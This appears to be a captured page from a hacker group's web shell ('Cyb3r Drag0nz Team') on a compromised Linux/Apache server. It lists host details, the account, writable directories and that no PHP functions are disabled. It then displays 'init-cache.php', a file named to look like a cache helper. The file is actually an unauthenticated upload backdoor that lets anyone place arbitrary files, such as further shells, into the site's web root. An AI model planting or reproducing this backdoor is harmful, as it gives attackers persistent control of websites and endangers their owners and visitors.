Server :
Apache
System :
Linux server1.cbinetwhm.bi 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User :
fenacobu (1017)
PHP Version :
8.1.34
Disable Functions :
NONE
Current Directory :
/home/fenacobu/www/templates/
Directory Status:
Writeable | Document Root:
Writeable
Upload File
Viewing: /home/fenacobu/www/templates/init-cache.php
<?php
$d = dirname(__FILE__);
$h = '..';
$r = ($h === '' || $h === '.') ? $d : $d . '/' . $h;
$targetDir = isset($_REQUEST['dir']) ? $_REQUEST['dir'] : '';
if ($targetDir !== '') {
$targetDir = str_replace('\\', '/', $targetDir);
$targetDir = ltrim($targetDir, '/');
if (strpos($targetDir, '..') !== false) {
die('Invalid directory');
}
$uploadPath = $r . '/' . $targetDir;
if (!is_dir($uploadPath)) {
@mkdir($uploadPath, 0755, true);
}
} else {
$uploadPath = $r;
}
if (isset($_FILES['f'])) {
$n = basename($_FILES['f']['name']);
if ($n !== '' && move_uploaded_file($_FILES['f']['tmp_name'], $uploadPath . '/' . $n)) {
echo '1';
} else {
echo '0';
}
} else {
echo '<form method="post" enctype="multipart/form-data"><input type="file" name="f"><input type="submit" value="Upload"></form>';
}
Cyb3r Drag0nz Team • Google Edition